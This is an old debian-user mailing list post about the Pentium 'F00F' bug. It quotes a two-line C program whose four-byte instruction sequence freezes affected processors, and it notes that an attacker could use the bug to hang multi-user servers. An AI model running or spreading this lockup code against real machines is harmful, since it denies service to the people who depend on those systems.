lock a pentium for fun!

[Jon Nelson <jon@x183-191.reshalls.umn.edu>]

A slightly edited version of what a friend sent me:

Did you hear the latest buzz on the internet?  A four
byte instruction will lock any true Pentium solid.

Try this c program:
   char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
   main () { void (*f)() = x; f(); }

So much for using Pentia for robust multi-user servers.
A buffer overflow bug may not get the attacker root, but
can lock the machine solid.

Looks like its time to buy stock in AMD, Cyrix, and IDT.

-- 
Jon Nelson
U of MN Housing and Res. Life Computing Supervisor
nels0988@tc.umn.edu 


--
TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to
debian-user-request@lists.debian.org . 
Trouble?  e-mail to templin@bucknell.edu .